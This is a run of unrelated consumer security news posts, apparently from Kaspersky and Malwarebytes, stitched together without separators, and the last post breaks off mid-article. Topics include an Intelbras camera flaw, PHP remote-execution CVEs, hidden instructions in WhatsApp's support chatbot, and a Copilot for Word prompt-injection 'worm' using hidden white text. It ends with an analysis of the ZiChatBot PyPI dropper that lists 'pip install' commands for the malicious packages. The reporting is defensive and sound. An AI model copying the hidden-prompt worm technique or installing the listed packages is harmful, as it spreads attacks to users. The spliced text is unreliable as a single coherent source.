Today, in most countries around the world, virtually every reasonably large city is packed with video cameras. On the one hand, the idea, of course, is to “keep us safe”: to monitor security in the streets, improve road safety and enforce traffic rules, and so on. But there’s the other side of the coin — ubiquitous video surveillance creates both privacy risks and opportunities for unauthorized surveillance We’ve repeatedly posted on our blog about how to protect yourself from surveillance involving IP cameras.
There’s another problem, too: relying too heavily on video surveillance systems can also be dangerous. If your cameras aren’t adequately cyber-secure, attackers may be able to disable them remotely to be able to then enter physical areas supposedly protected by video surveillance without being detected. This issue is especially relevant to home and privately managed surveillance systems — large companies generally do a better job of securing their devices (although there are exceptions there as well).
Disabling or replacing a camera feed is an almost obligatory plot device in heist movies. But unfortunately, this isn’t just a screenwriter’s invention: our recent research uncovered a vulnerability that makes it possible to remotely disable IP cameras made by Intelbras — a popular camera manufacturer. Read on to learn what the problem is, and how to protect your surveillance systems; a detailed technical analysis of the vulnerability is available on our expert blog, Securelist.
When an update does more harm than good
A surveillance camera is essentially a fully-fledged mini-computer, and its firmware needs to be updated regularly. In this case, however, the vulnerability was hidden in the firmware update procedure itself.
Intelbras provides firmware update files on its official website. The firmware can be updated manually from an SD card, or over the local network via the web interface or mobile app. However, during a firmware update, the camera neither required (past tense; a patch has since been issued – see below) authentication nor validated the firmware file before starting the update. As a result, anyone connected to the same Wi-Fi network as the camera could send it an update request. When an update is initiated, the camera reboots, taking it offline for about a minute before it becomes available again. But if the requests are sent repeatedly in a loop, the camera can be kept offline indefinitely.
We investigated this vulnerability on an Intelbras iM3 C (iM3B-C) camera running firmware version v240927 — the latest available at the time of our research. The iM3 C is a smart Full-HD Wi-Fi camera designed for both home surveillance and as a baby monitor. According to Intelbras, the firmware for the iM3 C is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models.
Intelbras iM3 C smart Wi-Fi camera used for the investigation. Its firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Source
This vulnerability has a medium severity rating. However, because of the large number of potentially affected users, the impact of successful exploitation could be significant. Intelbras Mibo Smart — Intelbras’s app for setting up and managing these camera models — has been downloaded more than four million times, with most of its users based in Brazil and elsewhere in Latin America.
How to secure your cameras and other smart devices
First and foremost, all Intelbras owners should update their camera firmware as soon as possible — and continue to do so regularly. More generally, it’s a good idea to secure your smart-home infrastructure in advance to reduce the risk posed by other potential vulnerabilities.
One of the simplest yet most important steps is to change the default settings on both your smart devices and your home network. Be sure to replace the factory-default passwords on all smart devices and on your router — default username/password combinations such as admin/admin or root/admin provide no meaningful protection.
Protect your home Wi-Fi with a strong password; otherwise, attackers could easily gain access to your local network.
Disable WPS on your router. WPS is designed to simplify network setup and authentication: you can connect by pressing dedicated buttons on the router and respective device, or by entering an eight-digit PIN. The problem is that this PIN can be brute-forced relatively easily, allowing an attacker to recover the key to your Wi-Fi network fairly quickly.
Use a strong, unique password for every account that can be used to manage your smart devices through official apps or websites. Where possible, enable two-factor authentication (2FA); the most secure option is generally to use one-time codes generated by authenticator apps. For generating and storing passwords, as well as creating one-time codes, it’s most convenient to use a password manager.
Put your IP cameras and other smart devices on a separate Wi-Fi network — isolating them from phones, laptops, tablets, NAS devices, and so on. Most modern routers can create at least two Wi-Fi networks (a primary and a guest network). Use the guest network for smart-home devices, but make sure it’s protected with a strong password. If your router supports multiple Wi-Fi networks, consider putting the cameras on a dedicated network of their own. That way, even if the cameras are compromised, attackers won’t be able to reach your other devices.
Use Smart Home Monitor, available in Kaspersky Plus and Kaspersky Premium. This feature shows all devices connected to your home network, lets you check their security status, and alerts you if an unknown device joins your home Wi-Fi.
More camera-security and smart-device tips and stories:
Yesterday, two critical vulnerabilities were disclosed in PHP, the scripting language used by many websites and online services: CVE-2026-109618 and CVE-2026-109619. Attackers can exploit them to remotely execute commands on any server running PHP, with no authentication required. The exploit has been dubbed PHP2Shell.
The PHP security team announced an upcoming emergency update on October 20 and released patches fixing the vulnerabilities the following day.
Nearly 70% of websites run on PHP, including services we use every day: wikis, online stores, smart devices with web interfaces, home network-attached storage (NAS), smart-home controllers, and much more.
Today, we explain how these vulnerabilities could affect you personally and what you can do to reduce the risks.
How the vulnerabilities can affect home users
Account and personal-data theft
The vulnerability allows an attacker to steal authentication tokens from server memory. These tokens essentially act like electronic passes — telling a website that the user has already signed in. As a result, an attacker may be able to access someone else’s account without entering a password or two-factor authentication code, putting messages, documents, delivery addresses, order histories, and other confidential information at risk.
Loss of files on home devices
If you have network-attached storage (NAS) or a video surveillance system at home that uses a vulnerable PHP version, it may also be at risk. Depending on what level of access they gain, attackers could potentially copy, delete or encrypt files they can access.
Malware infection
If an attacker gains access to a vulnerable website, they can use it in virtually any way they want: trick visitors into downloading a malicious file or clicking on a phishing link, display dangerous instructions, replace payment forms or login pages with malicious ones — the list goes on and on. As a result, someone visiting a legitimate website could not only lose access to their account, but also lose money or accidentally infect their device with malware.
Below are examples of services directly affected by the vulnerabilities.
Which services are affected by the PHP vulnerabilities
Jeedom
Jeedom is a smart-home platform that lets users control lighting, sensors, heating, blinds and home IoT devices. Attackers could abuse this in many ways: they could disable the alarm, track when the homeowner is away, access video from the door intercom, and more.
The developers confirmed that the new vulnerability affects their application, and have already released an emergency update — Jeedom 4.6.2. Users need to run the update twice for it to work. The developers say a fully fixed version for home users will be released in the coming days.
Websites we use every day
As mentioned above, PHP is used by roughly 70% of websites. This doesn’t mean every one of them is vulnerable: it depends on the PHP version in use and whether the site owners have already updated it. Many government websites in Europe have already suspended operations because of the new vulnerability.
Unfortunately, a website may still be vulnerable even if it appears to be working normally. An attacker could potentially take control of any legitimate website whose server hasn’t been patched yet. They could fake payment or login pages, host malicious files, or persuade users to download an “urgent update” that is actually malware.
Ordinary users have no reliable way to check whether such instructions or files are safe, so be sure to use reliable anti-phishing and antivirus protection. If you suspect that your data may have been stolen, check the active sessions in your account settings. If you spot suspicious activity or devices you don’t recognize, sign out of all active sessions and change your password. Use a password manager— it can generate a truly strong, unique password that you won’t have to memorize yourself.
Computer games
Bad news for gamers: some video games whose servers use PHP are also at risk. If you don’t want attackers to get hold of your accounts, be sure to update the passwords for your gaming platforms, stores and accounts.
To buy time for updates, some developers temporarily took their services offline. Final Fantasy XIV, Pokemon Champions, games from Bandai Namco Entertainment, Uma Musume: Pretty Derby, Granblue Fantasy, Shadowverse: Worlds Beyond, and many others went into emergency maintenance. Nintendo Switch Online and the GOG and Steam stores were also affected.
Unfortunately, there’ve also been more drastic consequences. Yesterday, the developers of World Questannounced that the game would shut down permanently after 15 years: it relied on outdated infrastructure that would have been extremely difficult and costly to fix. For the same reason, the mobile game Please Save My Pandemonium! shut down after more than ten years of operation.
Home network-attached storage (NAS)
“Home clouds” have become popular in recent years for good reason: many users prefer to keep backups of their data at home rather than online. A number of companies make NAS devices, and at least three — QNAP, Synology and ASUSTOR — have said the vulnerabilities affect their products. An update has also been released for Unraid, an operating system for home servers, network storage and media servers.
QNAP
The manufacturer confirmed that the vulnerabilities affect several versions of its NAS operating systems — QTS and QuTS hero — as well as applications including QuMagie, Note Station 3 and certain versions of QVR Surveillance. A successful attack could put photos, documents, notes and camera recordings at risk.
At the time of publication of this blogpost, QNAP is still preparing updates, so the main priority is to temporarily disconnect NAS from the internet. QNAP recommends disabling port forwarding on the router — to prevent NAS from automatically opening ports — and allowing access to the management panel only from the home network or through a VPN.
Synology
Both vulnerabilities have been officially confirmed in PHP packages 7.3, 7.4, and 8.0–8.4, as well as in Mail Station and Synology Calendar. Fixes have already been released for PHP, starting from version 7.4, as well as for Mail Station and Synology Calendar. PHP 7.3 won’t be fixed. The company separately notes that the PHP component built into its operating system cannot be reached from outside the device, so the risk of attack is very low.
ASUSTOR
ASUSTOR also officially confirmed both vulnerabilities, and immediately removed PHP 7, 7.3, 7.4, and 8.1 packages from App Central. The company recommends immediately backing up your data, removing older PHP packages, and using PHP 8.3 or 8.4.
Unraid
In today’s operating-system update, PHP was upgraded to version 8.4.27 with fixes for the vulnerabilities. The developers recommend that all users update to Unraid 7.3.4. Containers with their own PHP installation must be updated separately: the new PHP version in the operating system doesn’t replace PHP inside containers.
At the time of publication, we haven’t found public confirmation from other major manufacturers (such as TerraMaster, UGREEN, Buffalo, or Western Digital) that their devices are affected by these vulnerabilities — only user discussions on forums.
But the fact that only some NAS manufacturers have confirmed the problem so far doesn’t guarantee that your devices are safe — especially if they’re fairly old or come from a lesser-known or defunct manufacturer. In that case, first disconnect the devices from the internet while keeping them accessible only on the local network, and then investigate whether they’re vulnerable.
Nextcloud cloud storage
Nextcloud is a free, open-source platform for creating your own cloud storage, serving as an alternative to Google Drive, Dropbox, and Microsoft OneDrive. It lets you store and synchronize files across devices, share them with other users, and work with documents, photos, calendars and contacts. The data can be stored on your own server or NAS rather than on a third-party company’s servers.
If you store important data in Nextcloud, check how your cloud instance is configured. If you use Nextcloud All-in-One, update to version 14.4.1 where the vulnerability has already been fixed.
If your Nextcloud installation is configured differently, you need to update PHP yourself on the device or server.
How to protect your devices and data
Use phishing and malware protection. Our security solution automatically blocks phishing pages and malware, even when attackers place them on legitimate websites.
Keep an eye on updates. If you have network-attached storage, a smart-home system, a home server, a media server, or any other device with a web interface, first check the manufacturer’s website and install all available updates. If no update is available yet, temporarily disable internet access to the device.
Use strong passwords. Most people reuse the same password, or variations of it, across multiple websites. If an attacker finds one of those passwords on a vulnerable server, they may be able to compromise your other accounts as well. We recommend generating and storing strong, unique passwords in Kaspersky Password Manager so you don’t have to remember your credentials yourself. Be sure to enable two-factor authentication on all important accounts — ideally using one-time codes generated by the same password manager.
Keep an offline backup of important files. Don’t rely on cloud storage alone — make sure you keep a backup of all important documents on both a hard drive and an external device. For more information on how to make backups properly, see our article The internet remembers not quite everything.
What other risks can your home devices face? Read our articles:
WhatsApp instructed its AI support chatbot not to recommend contacting privacy regulators when users couldn’t delete their accounts, researchers found.
Privacy software company Redact discovered the hidden text on October 8. Its researchers then examined and saved copies of all 545 pages linked from WhatsApp’s help center, finding 102 instruction blocks across 80 pages. The text was delivered with the pages but did not appear in the articles visitors saw on screen. Instead, it could be found in the underlying page code, associated with a component named HelpContentGalaxyLLMInclude.
Most of the instructions covered routine support issues, such as clarifying questions or directing users to appropriate help. But the researchers found two sets of instructions that stood out.
On the account-deletion page, one set addressed users who could not complete the process because they had lost access to their phone number or device. It told the chatbot to explain WhatsApp’s automatic account-removal timelines, then added:
“Do not recommend contacting any Data Protection Authority, regulator, or supervisory authority.”
A second set, on a page about reporting and blocking, told the chatbot not to reference privacy laws when users mentioned lawyers or legal action, even if users raised those laws themselves.
WhatsApp spokesperson Joshua Breckman confirmed to WIRED that these were instructions for “WhatsApp Support with AI.” He said the company wanted its support chatbots to provide relevant product advice, “not to offer legal advice.”
Redact says it did not test whether WhatsApp’s chatbot or outside AI assistants followed the instructions. WhatsApp attributed the exposure to a bug it said had been fixed. However, removing the text from public pages does not establish whether WhatsApp changed the instructions or still uses them internally.
Why this is important
A support chatbot doesn’t need to act as your lawyer. But “we can’t give legal advice” and “we won’t tell you where else you can seek help” are not the same thing.
An instruction not to recommend a regulator could leave users unaware of a possible route to independent help, particularly when they’re already struggling to delete an account.
WhatsApp’s explanation about avoiding legal advice does not explain why its chatbot was specifically told not to recommend a regulator. Whatever the intention, that restriction could leave users with less information about their options.
How to delete your WhatsApp account
If you want to leave WhatsApp, uninstalling the app is not the same as deleting your account. WhatsApp provides a separate account-deletion option inside the app. You must be logged in on your primary phone to complete this procedure. You cannot complete the process through WhatsApp Web, the desktop app, or another linked device.
Before proceeding, save anything you want to keep by exporting important conversations. Account deletion is irreversible, and WhatsApp says it cannot restore your chats, documents, media, backups, or call history afterward.
Open Settings. On Android, tap the three-dot menu first. On iPhone, tap Settings or your profile picture.
Select Account, then Delete my account.
Enter your phone number in full international format, including the country code, and tap the deletion button.
On Android, select a reason when prompted, then confirm the deletion. Follow any remaining on-screen prompts.
Keep in mind that deleting your account does not delete copies of messages held by the people you sent them to. WhatsApp also says deleting your information can take up to 90 days, and some copies may remain afterward in backup storage or be retained for purposes such as legal obligations and harm prevention.
If your phone is lost or stolen
If you can recover the same phone number, WhatsApp’s documented route is to regain access first:
Contact your mobile provider to block the lost SIM and request a replacement with the same number.
Activate the replacement SIM in another phone.
Install WhatsApp and register with that number again.
Once you have access, follow the account-deletion steps above.
Re-registering the account logs the lost or stolen phone out of WhatsApp. WhatsApp says it cannot remotely deactivate the account on your behalf because it cannot verify that you own the associated number.
If you can no longer access your account or recover your number
This is where WhatsApp’s self-service instructions fall short. Its account-deletion page does not offer an alternative manual deletion process for people who cannot access their account.
Instead, it says inactive accounts are generally deleted after 120 days, or 365 days for US users. It separately says accounts already deactivated are deleted after 30 days unless re-registered. But these are automatic removal timelines, not steps for submitting an immediate deletion request.
WhatsApp’s own information-rights page says users can contact the company about exercising their data-protection rights and, depending on their jurisdiction, contact their local data protection authority directly.
The latter is precisely what its support chatbot was instructed not to recommend to users struggling to delete their accounts.
Browse like no one’s watching.
Malwarebytes Privacy VPN encrypts your connection and never logs what you do, so the next story you read doesn’t have to feel personal. Try it free →
For more than two decades now, setting up a home router has meant going through the same old routine: pick a Wi-Fi band, name your network, choose a security type, and set a password. After you type in your network name, you often see an option next to it to hide the network name — sometimes labeled hide SSID, or simply hidden or closed network. If you choose this option, the network you create won’t show up automatically in the list of available Wi-Fi networks on any smartphone, computer, or smart-home device — you need to type in the correct network name by hand. Only then will the device be able to find that network and connect to it. At first glance, hiding your wireless network’s name might seem like a smart precaution: keeping neighbors or passersby from hacking into your Wi-Fi since they simply can’t see it. But in fact things work differently: all your devices will give away the hidden network — and not just at home either.
How devices connect to Wi-Fi
Every Wi-Fi access point broadcasts a short data packet roughly 10 times a second so your smartphone or computer can show you a list of nearby networks’ names, like JohnWiFi, TommyNet, CafeDeArts_Guest, or other, creative variants. This packet contains (i) the network’s name (Service Set Identifier, or SSID), (ii) a unique identifier for the access point (Basic Service Set Identifier, or BSSID), and (iii) details about the radio channel the network uses. This info helps devices (i) pick the best network to connect to, and (ii) automatically join networks they already know; accordingly, none of the data in that packet is encrypted. Hidden networks also broadcast these advertising packets; they just leave the SSID field blank. This method of finding networks is called passive because a Wi-Fi client, like, say, your smartphone, just needs to listen to the airwaves to spot nearby access points.
On top of that, the client can scan for Wi-Fi networks on its own, which is known as active discovery. Your smartphone or computer is constantly broadcasting the names of Wi-Fi networks it knows and would like to connect to. If one of those networks happens to be nearby, the access point answers back, and the connection is made.
Active discovery can sometimes help save your smartphone’s battery, and it’s indispensable when you’re working with hidden networks. Discovering a hidden network and connecting to it becomes a two-step process. First, the smartphone “hears” that there’s a Wi-Fi access point nearby with a hidden network name. It then tries to reach that network by broadcasting the names (SSIDs) it already knows — either hidden networks it’s connected to before, or the name the user typed in when first connecting to a hidden network. If the name matches, the router responds, and the connection goes through.
A hidden network name (SSID) doesn’t actually hide your Wi-Fi network
The regular list of available Wi-Fi networks on your smartphone or computer won’t show networks that don’t broadcast a public SSID. But any specialized Wi-Fi scanning software can spot them easily — it just won’t show their names. And hidden networks are still easy to identify and tell apart thanks to each router’s unique BSSID.
So hiding a Wi-Fi network’s name doesn’t make it truly invisible, and it won’t protect you from cybercriminals. It’s worth noting that any large-scale analysis, such as mapping the geographic locations of Wi-Fi networks, relies on BSSIDs, not SSIDs. Besides the huge databases kept by Apple and Google, there are public access-point-mapping projects too, like WiGLE.
If someone wants to break into a network at a specific location, specialized software lets them find out its SSID just by waiting for one of the legitimate clients to connect and listening in on the active discovery session. From there, they can connect to that Wi-Fi network — provided it uses a weak enough security protocol.
Your devices leak hidden Wi-Fi network names and personal data
The main drawback of a hidden SSID is that smartphones and computers have to broadcast it before they can connect to the wireless network. And they do this everywhere — not just near the specific access point in question. As soon as any network with a hidden name shows up within signal range, the client attempts to connect, and during that attempt it broadcasts the names of every hidden network it knows. And this broadcast isn’t encrypted, which means anyone nearby can pick up the data being transmitted.
In 2021, researchers at the University of Hamburg ran an experiment collecting radio signal data on a busy street. In just three one-hour listening sessions, they gathered 252 000 Wi-Fi connection requests from passersby’s smartphones. Of those, 23% contained the SSID of a network the smartphone would have preferred to connect to.
And that’s where a factor few people think about comes into play: the network’s name itself. Twelve percent of the SSIDs found were long numeric strings that looked a lot like passwords. So, once someone knows the SSID and BSSID, they can look up the BSSID in a service like WiGLE and find the access point’s real-world address. Once there, an attacker can try to use such a string as both the SSID and the password to connect — with a good chance of success. The researchers’ sample also included 106 SSIDs containing a first and/or last name, 92 SSIDs that pointed to a home address, and three that revealed an email address.
Given all this, it’s no surprise that Apple and Asus recommend against using the hidden SSID feature.
Other drawbacks of hiding your Wi-Fi network
Beyond the data leak issues, hidden SSID technology — a holdover from early Wi-Fi versions — also hurts the performance of modern versions of the radio protocol. In the 6GHz band, searching for a hidden Wi-Fi network across 59 possible channels becomes noisy and power-hungry: the client has to run through every option and send a lot of requests. As a result, performance drops for all nearby Wi-Fi networks in the 6GHz band, and the client itself burns through battery power sending out all those requests.
Asus also points out that Windows devices may tend to connect to visible networks first — even if a network with a hidden SSID is available and marked as preferred.
When a hidden SSID actually makes sense
There aren’t many scenarios where hiding your network name is genuinely useful. For example, if a router is meant for a small group of people but is installed in a very crowded location, a hidden SSID can cut down on the number of connection attempts and ease the load on the router. But keep in mind that this boosts performance, not security — and only slightly at that.
Another similar case is a technical Wi-Fi network for a limited number of fixed devices — like a network of security cameras or smart home gadgets. These devices always stay in the same place, so whenever they try to connect to their assigned Wi-Fi, they find it right away, and no data leaks out — unless an attacker is actually listening in on the radio signal near the router. At the same time, outsiders are less likely to try connecting to such a network.
How to make your Wi-Fi more secure
To protect your Wi-Fi network from wireless hackers, don’t hide the SSID: instead, use the modern WPA3 security protocol along with a long password. Attackers can intercept data over the air and then try to crack the password with brute force, so a strong Wi-Fi password should be at least 20 characters long. The easiest way to generate and store such long, hard-to-crack passwords is with a password manager that syncs across your devices; that way they’re always at hand — no matter which gadget you’re using.
If some of your older devices don’t support WPA3, it’s fine to use WPA2 with protected management frames (PMF) turned on, which guard against many types of attacks on Wi-Fi networks.
You should also make sure Wi-Fi Protected Setup (WPS) is turned off, since it essentially replaces your password with an easy-to-guess PIN code.
As for the network name, instead of hiding it, pick one that doesn’t reveal your name, address, or any other personal details. It’s also worth avoiding default network names like ISPName-XXXX or dlink, but for a different reason: generic names like these can confuse you and your guests alike. If you don’t want your access point to show up on Wi-Fi geolocation maps from Apple, Google, and other providers, you can add the suffix _nomap to the end of your network name, but there’s no guarantee it will actually work.
Apart from protecting your Wi-Fi, make sure your router is configured securely overall. First and foremost, that means giving it a long, unique admin password, and keeping it updated with the manufacturer’s latest firmware. And if you have a bit more time, you could even boost your Wi-Fi performance.
How Wi-Fi networks get hacked, and how to protect them:
A security researcher has demonstrated how Microsoft Copilot for Word can be tricked into spreading a self‑propagating prompt‑injection “AI worm.” The attack silently alters documents and embeds its own hidden instructions into newly created files, allowing it to spread through normal document-sharing workflows without macros or traditional malware.
The technique allows an attacker to hide a JSON‑formatted prompt as white text on a white background inside a Word document. When someone asks Copilot for Word to draft or edit content based on that document, Copilot strips away the formatting, reads the hidden text, and treats the embedded instructions as part of the user’s request.
Copilot then modifies the active document and appends the full malicious prompt as hidden white text. That new document becomes a new carrier. Anyone who later uses it as source material for Copilot triggers the same behavior, allowing the prompt injection to spread to more documents. Because the documents are created and edited by legitimate users, the attack can be difficult to trace.
The researcher could still reproduce the full worm chain even after Microsoft rolled out multiple mitigations, including upgrades to newer GPT‑5.5 and 5.6 models.
At the time of writing, there is no complete mitigation for this broader class of attacks across comparable large language model (LLM)‑based products. It’s characterized as an architectural weakness of current LLM systems: attacker‑controlled content shares the same context window as trusted instructions. Attacks that exploit this behavior are known as prompt injection attacks and may never be fixed.
How to stay safe
Treat documents from outside your organization as untrusted, especially if you plan to use them with Copilot for Word.
Review any attached document before using it as Copilot source material, and carefully verify Copilot‑generated/edited documents before sharing or reusing them.
If you don’t use Copilot, you can disable it.
Malwarebytes users can turn off Copilot under Tools > System Tweaks > Miscellaneous.
Malwarebytes setting to disable Copilot
Or in Word itself:
For individual users who don’t want Copilot in Word:
Open Word, go to File > Options > Copilot and clear the Enable Copilot checkbox, then restart Word.
In some versions of Word, the setting appears under File > Options > General in a Copilot section. In both cases, the key is unchecking the “Enable Copilot” setting.
You can also remove the Copilot icon from the ribbon by right‑clicking the ribbon, open the customization dialog, locate the Copilot/Assistance button, and removing it.
Alternatively, you can limit Copilot’s role by following these instructions:
In Word, go to File > Account > Account Privacy > Manage Settings, and uncheck Turn on optional connected experiences. This reduces certain cloud‑powered AI features, including Copilot‑related functions that rely on those services.
In the Microsoft 365 Admin Center, under Copilot > Settings, set Pin Microsoft 365 Copilot Chat to Do not pin Copilot chat in Microsoft 365 apps so the chat pane doesn’t appear by default in apps like Word.
This doesn’t remove Copilot entirely or stop these attacks, but it does reduce its visibility and limits some of its cloud‑assisted functionality.
From reporting threats to removing them.
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
A researcher found that Yarbo yard robots came with a host of vulnerabilities which, among others, allowed an attacker to harvest WiFi passwords.
Security researcher Andreas Makris found he could remotely hijack thousands of Yarbo yard robots worldwide, and proved it by having his mower run him over. The root cause was a cluster of “legacy” design choices: every robot shared the same hardcoded root password, remote tunnels were left open, and Message Queuing Telemetry Transport (MQTT) messaging was so weakly protected that once you had one device, you effectively had the worldwide fleet.
An attacker could pull GPS coordinates, email addresses, and Wi‑Fi passwords, turn cameras into remote spying tools, and even re‑arm the mower after someone hit the emergency stop.
All of this was enabled by a persistent backdoor tunnel that users could neither see nor meaningfully control. The risks fell into three very different buckets:
A heavy mower with remotely controllable blades and an emergency stop that can be bypassed is a real-world safety hazard.
Exposed telemetry meant attackers could map where devices were, see who owned them, and in some reports even view camera feeds.
Network abuse through shared root credentials meant compromised robots could scan local networks, steal more data, or be folded into a botnet.
Yarbo’s public response is unusually detailed for a consumer Internet of Things (IoT) vendor. It’s also refreshingly blunt in admitting that the researcher’s core findings were accurate. The company temporarily disabled the remote diagnostic tunnels, reset root passwords, locked down unauthenticated endpoints, and began ripping out unnecessary legacy access paths.
More importantly, Yarbo promises structural changes:
Unique per‑device credentials.
Over-the-Air (OTA) credential rotation.
Audited, allowlist‑based remote diagnostics.
Dedicated security contact, with a possible bug bounty to follow.
That is the sort of long‑term security hygiene we rarely see spelled out this clearly after an IoT fiasco.
From a disclosure and remediation standpoint, Yarbo is doing many things right: crediting the researcher, apologizing, prioritizing fixes, and explaining both short‑term patches and long‑term architectural changes in human language. For buyers of connected devices with blades, that level of transparency is a positive precedent.
But Yarbo has explicitly chosen to keep a remote access tunnel, although wrapped in better controls and logs, instead of offering users the option to remove or fully opt out of it.
How to secure IoT devices
The vulnerabilities uncovered in the Yarbo case present an almost a live-action demo of what the IoT CybersecurityImprovement Act is trying to prevent in US government deployments. While the Act doesn’t apply to Yarbo directly, its National Institute of Standards and Technology (NIST)-driven requirements map neatly onto what went wrong here.
So, it’s still up to users to make sure you:
Change the default credentials.
Check if the vendor will make updates available and how easy it is to install them before buying an IoT product. And then install the updates when available.
If you can, put your IoT devices on a separate network. Use a guest Wi‑Fi or separate VLAN when available.
Disable what you don’t need. Turn off UPnP, remote access, cloud control, and unnecessary services if you’re not actively using them.
If your router or security suite logs connections from IoT devices, skim those logs for odd spikes or unknown destinations.
Let’s face it, an incognito window can only do so much.
Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance.
Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.
While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.
To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.
Technical details
Spreading
The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.
Malicious wheel packages
The packages added by the attacker and listed on PyPI’s download pages are:
uuid32-utils library for generating a 32-character random string as a UUID
colorinal library for implementing cross-platform color terminal text
termncolor library for ANSI color format for terminal output
The key metadata for these packages are as follows:
Pip install command
File name
First upload date
Author / Email
pip install uuid32-utils
uuid32_utils-1.x.x-py3-none-[OS platform].whl
2025-07-16
laz**** / laz****@tutamail.com
pip install colorinal
colorinal-0.1.7-py3-none-[OS platform].whl
2025-07-22
sym**** / sym****@proton.me
pip install termncolor
termncolor-3.1.0-py3-none-any.whl
2025-07-22
sym**** / sym****@proton.me
Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:
Distribution information of the colorinal project
Initial infection
The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.
A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.
The termncolor library imports the malicious colorinal library
During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.
Windows version
Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.
After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.
The __init__.py script imports the malicious file unicode.py
This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.
The code loads the dropper into the host Python process
The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.
Dropper for ZiChatBot
From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:
Deploy ZiChatBot.
Establish an auto-run mechanism.
Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.
The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.
Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.
To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:
Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.
The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.
Linux version
The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.
The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.
ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.
In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.
ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.
Infrastructure
We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.
The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.
Victims
The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.
Zulip has officially deactivated the “helper” organization
Attribution
